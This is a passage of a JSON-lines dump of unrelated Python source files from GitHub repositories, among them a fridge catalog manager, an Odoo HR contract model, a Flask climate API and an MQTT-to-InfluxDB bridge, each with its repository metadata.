a\r\n        specific user with given ID_user'''\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n        # self.threadLock.release()\r\n\r\n        for user in dict['users']:\r\n            if user['ID_user'] == ID_user:\r\n                user_dict = {'nickname': user['nickname'], 'ID_user' : user['ID_user']}\r\n                return json.dumps(user_dict)\r\n        return 'User not found'\r\n\r\n    def get_fridges(self):\r\n        '''Returns information about the fridges\r\n        in the system'''\r\n\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n\r\n        # self.threadLock.release()\r\n        return json.dumps(dict['fridges'])\r\n\r\n    def get_fridge(self, ID_fridge):\r\n        '''Returns information about a fridge\r\n        with given ID_fridge'''\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n        \r\n        fridge_list = []\r\n        # return all the information about the fridge, except for the password and the ID_user\r\n        for fridge in dict['fridges']:\r\n            fridge_dict = {'ID_fridge': fridge['ID_fridge'], 'devices' : fridge['devices'], 'products_list' : fridge['products_list']}\r\n            fridge_list.append(fridge_dict)\r\n\r\n        # self.threadLock.release()\r\n        return json.dumps(fridge_list)\r\n\r\n\r\n    def associate(self, ID_user, ID_fridge, password):\r\n        '''Associates a specific fridge with ID_fridge\r\n        to a specific user with ID_user,\r\n        by using a password'''\r\n\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n\r\n        # find the user\r\n        user_found = 0\r\n        for user in dict['users']:\r\n            if user['ID_user'] == ID_user:\r\n                user_found = 1\r\n        \r\n        if user_found == 0: # the user has not been found\r\n            # self.threadLock.release()\r\n            return \"User not found\"\r\n        else: # the user has been found\r\n            # find the fridge\r\n            fridge_found = 0\r\n            for fridge in dict['fridges']:\r\n                if fridge['ID_fridge'] == ID_fridge:\r\n                    fridge_found = 1 # the fridge has been found\r\n                    if fridge['password'] != password: # the password is incorrect\r\n                        return 'Password incorrect'\r\n                    else: # the password is correct\r\n                        try:\r\n                            fridge['ID_user'] = ID_user # associate the user to the fridge\r\n                            file = open(self.filename, 'w')\r\n                            file.write(json.dumps(dict))\r\n                            file.close()\r\n                            # self.threadLock.release()\r\n                            return 'Association successful'\r\n                        except:\r\n                            # self.threadLock.release()\r\n                            return 'Error in association'\r\n            \r\n            if fridge_found == 0: # the fridge has not been found\r\n                return 'Fridge not found'\r\n\r\n    def add_fridge(self, fridge_data):\r\n        '''Adds a fridge to the system. The input parameter \"fridge_data\" is a json containing\r\n        the fields \"ID_fridge\", \"ID_user\" and \"password\" '''\r\n        \r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n        \r\n        fridge_found = 0\r\n        for fridge in dict['fridges']:\r\n            if fridge['ID_fridge'] == fridge_data['ID_fridge']: # already existing fridge\r\n                # update the information about the existing fridge\r\n                fridge_found = 1\r\n                try:\r\n                    fridge['ID_user'] = fridge_data['ID_user']\r\n                    fridge['password'] = fridge_data['password']\r\n                    fridge['timestamp'] = time.time()\r\n                    # self.threadLock.release()\r\n                    return 'Fridge data updated successfully'\r\n                except:\r\n                    # self.threadLock.release()\r\n                    return 'Error in updating fridge data'\r\n        \r\n        if fridge_found == 0: # the fridge does not already exist\r\n            try:\r\n                dict['fridges'].append({'ID_fridge': fridge_data['ID_fridge'],\r\n                                    'ID_user': fridge_data['ID_user'],\r\n                                    'password': fridge_data['password'],\r\n                                    'timestamp': time.time()})\r\n                file = open(self.filename, 'w')\r\n                file.write(json.dumps(dict))\r\n                file.close()\r\n                # self.threadLock.release()\r\n                return 'Fridge registered successfully'\r\n            except:\r\n                # self.threadLock.release()\r\n                return 'Error in fridge registration'\r\n    \r\n        \r\n    def add_device(self, device_data):\r\n        '''Adds a device to a specific fridge with \"ID_fridge\". The input parameter\r\n        \"device_data\" is a json containing the fields \"ID_fridge\", \"ID_device\",\r\n        \"endpoints\", \"protocol\"and \"resources\" '''\r\n        \r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n        \r\n        fridge_found = 0\r\n        for fridge in dict['fridges']:\r\n            if fridge['ID_fridge'] == device_data['ID_fridge']:\r\n                fridge_found = 1\r\n                \r\n                device_found = 0\r\n                for device in fridge['devices']:\r\n                    if device['ID_device'] == device_data['ID_device']: # already existing device\r\n                        # update the information about the existing device\r\n                        device_found = 1\r\n                        try:\r\n                            device['endpoints'] = device_data['endpoints']\r\n                            device['protocol'] = device_data['protocol']\r\n                            device['resources'] = device_data['resources']\r\n                            device['timestamp'] = time.time()\r\n                            # self.threadLock.release()\r\n                            return 'Device data updated successfully'\r\n                        except:\r\n                            # self.threadLock.release()\r\n                            return 'Error in updating device data'\r\n                            \r\n\r\n                if device_found == 0: # the device does not already exist\r\n                    try:\r\n                        fridge['devices'].append({'ID_device': device_data['ID_device'],\r\n                                            'endpoints': device_data['endpoints'],\r\n                                            'protocol': device_data['protocol'],\r\n                                            'resources': device_data['resources'],\r\n                                            'timestamp': time.time()})\r\n                        file = open(self.filename, 'w')\r\n                        file.write(json.dumps(dict))\r\n                        file.close()\r\n                        # self.threadLock.release()\r\n                        return 'Device registered successfully'\r\n                    except:\r\n                        # self.threadLock.release()\r\n                        return 'Error in device registration'\r\n        \r\n        if fridge_found == 0:\r\n            return 'Fridge not found'\r\n        \r\n\r\n    def add_user(self, user_data):\r\n        '''Adds a user to the system. The input parameter \"user_data\"\r\n        is a json containing the fields \"ID_user\" and \"nickname\" '''\r\n        \r\n        \r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        json_file = file.read()\r\n        dict = json.loads(json_file)\r\n        file.close()\r\n        \r\n        for user in dict['users']:\r\n            if user['ID_user'] == str(data['ID_user']): # CHECK THIS: USE str(data) ??? also elsewhere???\r\n                try:\r\n                    user['nickname'] = data['nickname']\r\n                    file = open(self.filename, 'w')\r\n                    file.write(json.dumps(dict))\r\n                    file.close()\r\n                    # self.threadLock.release()\r\n                    return 'User data updated successfully'\r\n                except:\r\n                    # self.threadLock.release()\r\n                    return 'Error in updating user data'\r\n\r\n        try:\r\n            dict['users'].append({'ID_user': str(data['ID_user']),\r\n                                'nickname': data['nickname']})\r\n            file = open(self.filename, 'w')\r\n            file.write(json.dumps(dict))\r\n            file.close()\r\n            # self.threadLock.release()\r\n            return 'User registered successfully'\r\n        except:\r\n            # self.threadLock.release()\r\n            return 'Error in user registration'\r\n\r\n    def delete_fridge(self, ID_fridge):\r\n        '''Removes a fridge from the system'''\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        dict = json.loads(file.read())\r\n        file.close()\r\n\r\n        fridge_found = 0\r\n        for fridge in dict['fridges']:\r\n            if fridge['ID_fridge'] == ID_fridge:\r\n                fridge_found = 1\r\n                try:\r\n                    dict['fridges'].remove(fridge)\r\n                    file = open(self.filename, 'w')\r\n                    file.write(json.dumps(dict))\r\n                    file.close()\r\n                    # self.threadLock.release()\r\n                    return 'Fridge removed successfully'\r\n                except:\r\n                    # self.threadLock.release()\r\n                    return 'Error in fridge removal'\r\n        if fridge_found == 0:\r\n            # self.threadLock.release()\r\n            return 'Fridge not found'\r\n    \r\n    def delete_device(self, device_data):\r\n        '''Removes a device from the system. The input parameter \"device_data\"\r\n        is a json containing the fields \"ID_fridge\" and \"ID_device\" '''\r\n        \r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        dict = json.loads(file.read())\r\n        file.close()\r\n\r\n        fridge_found = 0\r\n        for fridge in dict['fridges']:\r\n            if fridge['ID_fridge'] == device_data['ID_fridge']:\r\n                fridge_found = 1\r\n                \r\n                device_found = 0\r\n                for device in fridge['devices']:\r\n                    if device['ID_device'] == device_data['ID_device']:\r\n                        device_found = 1\r\n                        try:\r\n                            fridge['devices'].remove(device)\r\n                            file = open(self.filename, 'w')\r\n                            file.write(json.dumps(dict))\r\n                            file.close()\r\n                            # self.threadLock.release()\r\n                            return 'Device removed successfully'\r\n                        except:\r\n                            # self.threadLock.release()\r\n                            return 'Error in device removal'\r\n                \r\n                if device_found == 0:\r\n                    # self.threadLock.release()\r\n                    return 'Device not found'\r\n        \r\n        if fridge_found == 0:\r\n            # self.threadLock.release()\r\n            return 'Fridge not found'\r\n\r\n   \r\n    def delete_user(self, ID_user):\r\n\r\n        # self.threadLock.acquire()\r\n\r\n        file = open(self.filename, 'r')\r\n        dict = json.loads(file.read())\r\n        file.close()\r\n\r\n        user_found = 0\r\n        for user in dict['users']:\r\n            if user['ID'] == ID:\r\n                user_found = 1\r\n                try:\r\n                    dict['users'].remove(user)\r\n\r\n                    # remove the association between the user and his/her fridges\r\n                    for fridge in dict['fridges']:\r\n                        if fridge['ID_user'] == ID_user:\r\n                            fridge['ID_user'] = None\r\n\r\n                    file = open(self.filename, 'w')\r\n                    file.write(json.dumps(dict))\r\n                    file.close()\r\n\r\n                    # self.threadLock.release()\r\n                    return 'User removed successfully'\r\n                except:\r\n                    # self.threadLock.release()\r\n                    return 'Error in user removal'\r\n        \r\n        if user_found == 0:\r\n            # self.threadLock.release()\r\n            return 'User not found'\r\n\r\n# SOLO PER PROVA\r\nif __name__ == '__main__':\r\n    catalog = Catalog(\"test_file.txt\")\r\n\r\n\r\n\r\n\r\n# RIVEDERE POI, QUANDO CAPIREMO COME E SE INSERIRE I THREAD.\r\n# Letizia sostiene che questa cosa sia abbastanza obbligatoria da fare\r\n# In effetti l'unica soluzione per fare questa cosa -se obbligatoria- sono i thread.\r\n\r\n\r\n# ## Thread to delete devices older than half an hour\r\n# class DeleteDevice(threading.Thread):\r\n#\r\n#     def __init__(self, catalog):\r\n#         threading.Thread.__init__(self)\r\n#         self.catalog = catalog\r\n#\r\n#     def run(self):\r\n#         while True:\r\n#\r\n#             self.catalog.threadLock.acquire()\r\n#             file = open(self.catalog.filename, 'r')\r\n#             dict = json.loads(file.read())\r\n#             file.close()\r\n#             self.catalog.threadLock.release()\r\n#\r\n#             for device in dict['terraria']:\r\n#                 if time.time() - device['insert-timestamp'] > 30*60:\r\n#                     self.catalog.deleteterrarium(device['ID'])\r\n#\r\n#             # for device in dict['temp_controls']:\r\n#             #     if time.time() - device['insert-timestamp'] > 30*60:\r\n#             #         self.catalog.deletetempcontrol(device['ID'])\r\n#             #\r\n#             # for device in dict['light_controls']:\r\n#             #     if time.time() - device['insert-timestamp'] > 30*60:\r\n#             #         self.catalog.deletelightcontrol(device['ID'])\r\n#\r\n#             time.sleep(10)\r\n","repo_name":"martandrulli/MyGreenFridge","sub_path":"Catalog_myGreenFridge.py","file_name":"Catalog_myGreenFridge.py","file_ext":"py","file_size_in_byte":16493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"72286387662","text":"import urllib.request\nimport json\nimport requests\nfrom minimax import minmax, MAX, MIN, pseudo_min_max\nfrom board import Board\n\n\ndef get_board():\n    with urllib.request.urlopen(\"http://localhost:8080/get_board\") as url:\n        data = json.loads(url.read().decode())\n        return data\n\n\ndef make_move():\n    return pseudo_min_max(Board(get_board()[\"board\"]), 1)\n\n\ndef send_move(move):\n    from minimax import correct_move\n    move['player_id'] = 1\n    url = 'http://localhost:8080/set_move'\n    r = requests.post(url, verify=False, json=move)\n    return r.status_code\n\n\nif __name__ == \"__main__\":\n    while(True):\n        try:\n            input()\n            move = make_move()\n            send_move(move)\n            print(\"Bot made a move: \", move)\n        except:\n            print(\"End game\")\n\n","repo_name":"Nick01a/Pentago_ML","sub_path":"pentago_bot/send_requests.py","file_name":"send_requests.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"42384138806","text":"from openerp.osv import fields, osv\nfrom datetime import datetime, date\nfrom dateutil.relativedelta import relativedelta\n\n# Constants for LCT\nclass_mult = {\n    'EA': [1, 1.05],\n    'EB': [1.28, 1.05],\n    'EC': [1.28**2, 1.05],\n    'ED': [1.28**3, 1.05],\n    'ME': [1.28**3*1.3, 1.055],\n    'MF': [1.28**3*1.3**2, 1.055],\n    'MG': [1.28**3*1.3**3, 1.055],\n    'CH': [1.28**3*1.3**4, 1.055],\n    'CI': [1.28**3*1.3**5, 1.055],\n    'HC': [1.28**3*1.3**5*1.8, 1.055],\n}\n\nclass_cat = {\n            'EA': '1',\n            'EB': '1',\n            'EC': '1',\n            'ED': '1',\n            'ME': '2',\n            'MF': '2',\n            'MG': '2',\n            'CH': '3',\n            'CI': '3',\n            'HC': 'Hors Cat.',\n            }\n\n\nclass hr_contract(osv.osv):\n    _inherit = 'hr.contract'\n\n    _columns = {\n        'benefits_in_kind': fields.float('Benefits in kind', digits=(16,2)),\n        'transport_allowance': fields.float('Transport allowance', digits=(16,2)),\n        'representation_allowance': fields.float('Representation allowance', digits=(16,2)),\n        'individual_allowance': fields.float('Individual allowance', digits=(16,2)),\n        'performance_allowance': fields.float('Performance allowance', digits=(16,2)),\n        'other_allowances': fields.float('Other allowances', digits=(16,2)),\n        'bonus': fields.float('Bonus', digits=(16,2)),\n        'pension_annuities': fields.float('Pension or annuities', digits=(16,2)),\n        'life_insurance': fields.float('Life insurance', digits=(16,2)),\n        'category': fields.function(lambda self, *args, **kwargs: self._get_category(*args, **kwargs),\n                                 method=True,\n                                 type='char',\n                                 string='Category',\n                                 store=True),\n        'hr_class': fields.selection([\n            ('EA','EA'),\n            ('EB','EB'),\n            ('EC','EC'),\n            ('ED','ED'),\n            ('ME','ME'),\n            ('MF','MF'),\n            ('MG','MG'),\n            ('CH','CH'),\n            ('CI','CI'),\n            ('HC','HC'),\n            ], 'Class', select=True),\n        'echelon': fields.selection([\n            ('1','1'),\n            ('2','2'),\n            ('3','3'),\n            ('4','4'),\n            ('5','5'),\n            ('6','6'),\n            ('7','7'),\n            ('8','8'),\n            ('9','9'),\n            ('10','10'),\n            ('11','11'),\n            ('12','12'),\n            ('13','13'),\n            ('14','14'),\n            ('15','15'),\n            ], 'Echelon', select=True),\n        # Override; this one's calculated based on class and echelon\n        'wage': fields.function(lambda self, *args, **kwargs: \\\n            self._calculate_wage(*args, **kwargs),\n                                 method=True,\n                                 type='float',\n                                 string='Wage',\n                                 store=True),\n        'date_next_promotion': fields.date('Next promotion'),\n    }\n\n    _defaults = {\n        # 'category': '1',\n        'hr_class': 'EA',\n        'echelon': '1',\n        'date_next_promotion': lambda *a: \\\n            (date.today() + relativedelta(years=2)).strftime('%Y-%m-%d'),\n    }\n\n    _sql_constraints = [\n        ('employee_id_uniq', 'unique(employee_id)',\n            'You can only have one contract per employee.'),\n    ]\n\n    def _calculate_wage(self, cr, uid, ids, field_name, args, context=None):\n        res = dict.fromkeys(ids, 0.0)\n        base_wage = float(self.pool.get('ir.config_parameter').get_param(cr, uid, 'lct_hr.base_wage', default='69250', context=context))\n        for contract_id in ids:\n            contract_data = self.read(cr, uid, contract_id, ['hr_class', 'echelon'], context)\n            hr_class, hr_echelon = contract_data['hr_class'] or 'EA', contract_data['echelon'] or '1'\n            wage = base_wage * class_mult[hr_class][0] * class_mult[hr_class][1] ** (int(hr_echelon) - 1)\n            res.update({contract_id: wage})\n        return res\n\n    def _get_category(self, cr, uid, ids, field_name, args, context=None):\n        res = dict.fromkeys(ids, False)\n        for contract_id in ids:\n            hr_class = self.read(cr, uid, contract_id, ['hr_class'], context)['hr_class'] or 'EA'\n            res.update({contract_id: class_cat[hr_class]})\n        return res\n\n    def auto_promote(self, cr, uid, force_run=False):\n        active_contract_ids = self.search(cr, uid, [\n            '|',\n            ('date_end', '>', date.today().strftime('%Y-%m-%d')),\n            ('date_end', '=', False)])\n        active_contracts = self.browse(cr, uid, active_contract_ids)\n        write_vals = {}\n        for contract in active_contracts:\n            employee = contract.employee_id\n            # First, promote echelon if necessary\n            echelon = contract.echelon\n            date_next_promotion = datetime.strptime(contract.date_next_promotion, '%Y-%m-%d').date()\n            if date.today() >= date_next_promotion:\n                # Sigh, why did I store this as a string intead of int?\n                echelon = str(min(int(echelon) + 1, 15))\n                self.write(cr, uid, contract.id, {\n                    'echelon': echelon,\n                    'date_next_promotion': (date.today() + relativedelta(years=2)).strftime('%Y-%m-%d')})\n            # Then update seniority, if applicable\n            employee_start = datetime.strptime(employee.start_date, '%Y-%m-%d').date()\n            seniority_pay = employee.seniority_pay\n            if relativedelta(date.today(), employee_start).years > employee.active_years:\n                active_years = employee.active_years + 1\n                if active_years == 2:\n                    wage = self._calculate_wage(cr, uid, [contract.id], field_name=None, args=None)[contract.id]\n                    seniority_pay = wage * 0.02\n                elif active_years > 2:\n                    wage = self._calculate_wage(cr, uid, [contract.id], field_name=None, args=None)[contract.id]\n                    seniority_pay = employee.seniority_pay + wage * 0.01\n                write_vals.update({\n                    'active_years': active_years,\n                    'seniority_pay': seniority_pay,\n                })\n                self.pool.get('hr.employee').write(cr, uid, contract.employee_id.id, write_vals)\n","repo_name":"joezilla86/ps-lct","sub_path":"lct_hr/models/hr_contract.py","file_name":"hr_contract.py","file_ext":"py","file_size_in_byte":6349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"9839913551","text":"#http://docs.graphene-python.org/en/latest/execution/execute/\nimport graphene\n\n\"\"\"\nFor executing a query a schema, you can directly call the execute method on it.\nresult represents the result of execution. \nresult.data is the result of executing the query, \nresult.errors is None if no errors occurred, and is a non-empty list if an error occurred.\nschema = graphene.Schema(...)\nresult = schema.execute('{ name }')\n\nVariables\nYou can pass variables to a query via variable_values.\n\"\"\"\n\n#pegar exemplo do lab5 para completar este ===>>>\nclass User(graphene.ObjectType):\n    id = graphene.ID()\n    firstName = graphene.String()\n    lastName = graphene.String()\n\nclass Query_0(graphene.ObjectType):\n    user = graphene.Field(User)\n    \n    def resolve_user(self, info):\n        #return info.context.get('user')\n        return User(id=0, firstName=\"fname\", lastName=\"lname\")\n\nschema = graphene.Schema(Query_0)\nquery_ql_0 = '''\n       query getUser {\n             user {\n               id\n               firstName\n               lastName\n            }\n        }'''\nresult = schema.execute(query_ql_0)\n\nprint(\"result-simple-query-without-variable====>>>\")\nprint(result)\nprint(\"result-data====>>>\")\nprint(result.data)\nprint(\"result-data-user====>>>>\")\nprint(result.data['user'])\nprint(\"\\n\")\n\n\n\n\n","repo_name":"marcosptf/fedora","sub_path":"python/flask-webservices-labs/graphene-labs/lab4-query.py","file_name":"lab4-query.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
+{"seq_id":"32710984966","text":"def lingkaran():\r\n    print (\"Menghitung Luas Lingkaran\")\r\n    r= input(\"Masukan jari jari ?\")\r\n    \r\n    Luas = (3.14*r*r)\r\n    Keliling = (2*3.14*r)\r\n    \r\n    print (\"Luas lingkaran =\"),Luas\r\n    print (\"Keliling lingkaran =\"),Keliling\r\n    \r\nlingkaran()","repo_name":"VikaVP/Belajar-program-sederhana-Python","sub_path":"luas lingkaran.py","file_name":"luas lingkaran.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"71830968464","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\nimport re\n\n\nclass Matcher:\n\n    _DEFAULT_HEADER_TEMPLATE = (\n        r\"\"\n        \"\\/\\/\\n\"\n        \"\\/\\/.*\\..*\\n\"\n        \"\\/\\/.*\\n\"\n        \"\\/\\/\\n\"\n        \"\\/\\/\\s{2}Created by\\s.*\\son\\s\\d{1,2}\\/\\d{1,2}\\/\\d{2}\\.\\n\"\n        \"\\/\\/\\s{2}Copyright\\s(\\(c\\)|©)\\s\\d{4}\\s.*\\.\\sAll rights reserved\\.\\n\"\n        \"\\/\\/\\n\"\n    )\n\n    def __init__(self, content, trim_new_lines=False):\n        self.content = content\n        self.trim_new_lines = trim_new_lines\n\n    @property\n    def header(self):\n        trim_regex = r\"\\s*\" if self.trim_new_lines else r\"\"\n        return r\"{trim_regex}{core}{trim_regex}\".format(\n            trim_regex=trim_regex,\n            core=self._DEFAULT_HEADER_TEMPLATE\n        )\n\n    def match(self):\n        result = re.match(self.header, self.content)\n        return result.group(0) if result else None\n","repo_name":"barbosa/clorox","sub_path":"clorox/matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"47"}
+{"seq_id":"37420843951","text":"from flask import Flask, jsonify\n\nimport numpy as np \nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\n#Set up database\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\nBase = automap_base()\nBase.prepare(engine,reflect=True)\n\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n\n#Launch Flask\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n    return(\n        f\"SQLAlchemy Homework<br/>\"\n        f\"Available Routes:<br/>\"\n        f\"/api/v1.0/precipitation<br/>\"\n        f\"/api/v1.0/stations<br/>\"\n        f\"/api/v1.0/tobs<br/>\"\n        f\"/api/v1.0/start_date<br/>\"\n        f\"/api/v1.0/start_date/end_date<br/>\"\n    )\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n    session = Session(engine)\n\n    #Return date and precipitation\n    results = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date > '2016-08-23').all()\n       \n    session.close()\n    \n    prcp_list = []\n    for date,prcp in results:\n        prcp_dict = {}\n        prcp_dict[date] = prcp\n        prcp_list.append(prcp_dict)\n\n  \n    return jsonify(prcp_list)\n\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n    session = Session(engine)\n\n    #Return list of stations\n    results = session.query(Station.station).all()\n\n    session.close()\n    \n    station_list = list(np.ravel(results))\n  \n    return jsonify(station_list)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n    session = Session(engine)\n\n    #Return dates and temps\n    results = session.query(Measurement.date, Measurement.tobs).\\\n    filter(Measurement.date > '2016-08-23').\\\n    filter(Measurement.station == 'USC00519281').all()\n\n    session.close()\n\n    tobs_list = []\n    for date,tobs in results:\n        tobs_dict = {}\n        tobs_dict[\"date\"] = date\n        tobs_dict[\"temp\"] = tobs\n        tobs_list.append(tobs_dict)\n\n    return jsonify(tobs_list)\n\n@app.route(\"/api/v1.0/<start_date>\")\ndef summary(start_date):\n  \n    session = Session(engine)\n\n    tmin = session.query(func.min(Measurement.tobs).filter(Measurement.date >= start_date)).first()\n    tmax = session.query(func.max(Measurement.tobs).filter(Measurement.date >= start_date)).first()\n    tavg = session.query(func.avg(Measurement.tobs).filter(Measurement.date >= start_date)).first()\n\n    session.close()\n\n    temp_dict = {\"min\":tmin[0], \"avg\": tavg[0], \"max\":tmax[0]}\n\n    return jsonify(temp_dict)\n\n@app.route(\"/api/v1.0/<start_date>/<end_date>\")\ndef between(start_date,end_date):\n  \n    session = Session(engine)\n\n    tmin = session.query(func.min(Measurement.tobs).filter(Measurement.date >= start_date)).filter(Measurement.date <= end_date).first()\n    tmax = session.query(func.max(Measurement.tobs).filter(Measurement.date >= start_date)).filter(Measurement.date <= end_date).first()\n    tavg = session.query(func.avg(Measurement.tobs).filter(Measurement.date >= start_date)).filter(Measurement.date <= end_date).first()\n\n    session.close()\n\n    temp_dict = {\"min\":tmin[0], \"avg\": tavg[0], \"max\":tmax[0]}\n\n    return jsonify(temp_dict)\n   \n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"alstambaugh/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"36454114621","text":"#!/usr/bin/env python\n# _*_ coding: utf-8 _*_\n# Author:shichao\n# File: .py\n\nimport threading\nimport time\n\nclass MyThread(threading.Thread):\n    def __init__(self,n):\n        threading.Thread.__init__(self)\n        self.n = n\n\n    def run(self):\n        print(\"running on number:%s\" %self.n)\n\n        time.sleep(3)\n\nif __name__ ==  '__main__':\n    t1 = MyThread(1)\n    t2 = MyThread(2)\n    t1.start()\n    t2.start()\n","repo_name":"tiaotiaodan/python","sub_path":"day9/线程/threading-继承式调用.py","file_name":"threading-继承式调用.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41678326003","text":"\r\n##Initialize the Client\r\nfrom datetime import datetime\r\nimport paho.mqtt.client as mqtt\r\nimport parseMESSAGE\r\nimport push_to_QUEUE\r\n\r\nfrom influxdb_client import InfluxDBClient, Point, WritePrecision\r\nfrom influxdb_client.client.write_api import SYNCHRONOUS\r\nimport json\r\nfrom influxdb import InfluxDBClient\r\n\r\n#InfluxDB Local\r\nINFLUXDB_DATABASE = 'mqtt_sensor'\r\ninflux_client = InfluxDBClient('localhost', 8086, '', '', None)\r\n\r\n#MQTT Client\r\ntopic = \"test\"\r\nuser = \"user2\"\r\nclient = mqtt.Client(client_id=\"client2\")\r\nclient.username_pw_set(user, \"123\")\r\nbroker = '127.0.0.1'\r\nport = 1883\r\n\r\n#MESSAGE QUEUE\r\nMODEL_1 = [[0]*4]\r\nMODEL_2 = [[0]*4]\r\nMODEL_3 = [[0]*4]\r\nMODEL_4 = [[0]*4]\r\nMODEL_5 = [[0]*4]\r\n\r\n\r\ndef _init_influxdb_database():\r\n    databases = influx_client.get_list_database()\r\n    if len(list(filter(lambda x: x['name'] == INFLUXDB_DATABASE, databases))) == 0:\r\n        influx_client.create_database(INFLUXDB_DATABASE)\r\n    influx_client.switch_database(INFLUXDB_DATABASE)\r\n\r\n\r\ndef connect_mqtt() -> mqtt:\r\n    def on_connect(client, userdata, flags, rc):\r\n        if rc == 0:\r\n            print(\"Connected to MQTT Broker!\")\r\n        else:\r\n            print(\"Failed to connect, return code %d\\n\", rc)\r\n\r\n    client.on_connect = on_connect\r\n    client.connect(broker,port)\r\n    return client\r\n\r\ndef writeDB(MODEL):\r\n    for i in range(len(MODEL)):\r\n        if MODEL[i][0] != 0 and MODEL[i][1] != 0 and MODEL[i][2] != 0 and MODEL[i][3] != 0:\r\n\r\n            data = parseMESSAGE.parseDES(MODEL[i][0])\r\n            for j in range(len(data)):\r\n                influx_client.write_points([data[j]])\r\n                print(\"Wrote DES messange from MODEL {} to influxDB\\n\".format(data[j]['tags']['modelVersion']))\r\n\r\n            data = parseMESSAGE.parseMET(MODEL[i][1])\r\n            for j in range(len(data)):\r\n                influx_client.write_points([data[j]])\r\n                print(\"Wrote MET messange from MODEL {} to influxDB\\n\".format(data[j]['tags']['modelVersion']))\r\n\r\n            data = parseMESSAGE.parseSWR(MODEL[i][2])\r\n            for j in range(len(data)):\r\n                influx_client.write_points([data[j]])\r\n                print(\"Wrote SWR messange from MODEL {} to influxDB\\n\".format(data[j]['tags']['modelVersion']))\r\n\r\n            data = parseMESSAGE.parseLOG(MODEL[i][3])\r\n            for j in range(len(data)):\r\n                influx_client.write_points([data[j]])\r\n                print(\"Wrote LOG messange from MODEL {} to influxDB\\n\".format(data[j]['tags']['modelVersion']))\r\n\r\n            MODEL.pop(i)\r\n\r\n            break\r\n            \r\ndef subscribe(client: mqtt):\r\n    def on_message(client, userdata, msg):\r\n        msg_decode=json.loads(str(msg.payload.decode(\"utf-8\",\"ignore\")))\r\n        print(f\"MQTT: Received `{msg_decode}` from `{msg.topic}` topic\\n\")\r\n\r\n        push_to_QUEUE.push_to_QUEUE(MODEL_1, MODEL_2, MODEL_3, MODEL_4, MODEL_5, msg_decode)\r\n\r\n        writeDB(MODEL_1)\r\n        writeDB(MODEL_2)\r\n        writeDB(MODEL_3)\r\n        writeDB(MODEL_4)\r\n        writeDB(MODEL_5)\r\n        \r\n    client.subscribe(topic)\r\n    client.on_message = on_message\r\n\r\n\r\ndef run():\r\n    _init_influxdb_database()\r\n    client = connect_mqtt()\r\n    subscribe(client)\r\n    client.loop_forever()\r\n\r\n\r\nif __name__ == '__main__':\r\n    run()\r\n\r\n\r\n\r\n","repo_name":"HuySin/DWH-GTFS","sub_path":"Project_Sensor/MQTT_Sensor/mqtt-influx-db-local.py","file_name":"mqtt-influx-db-local.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
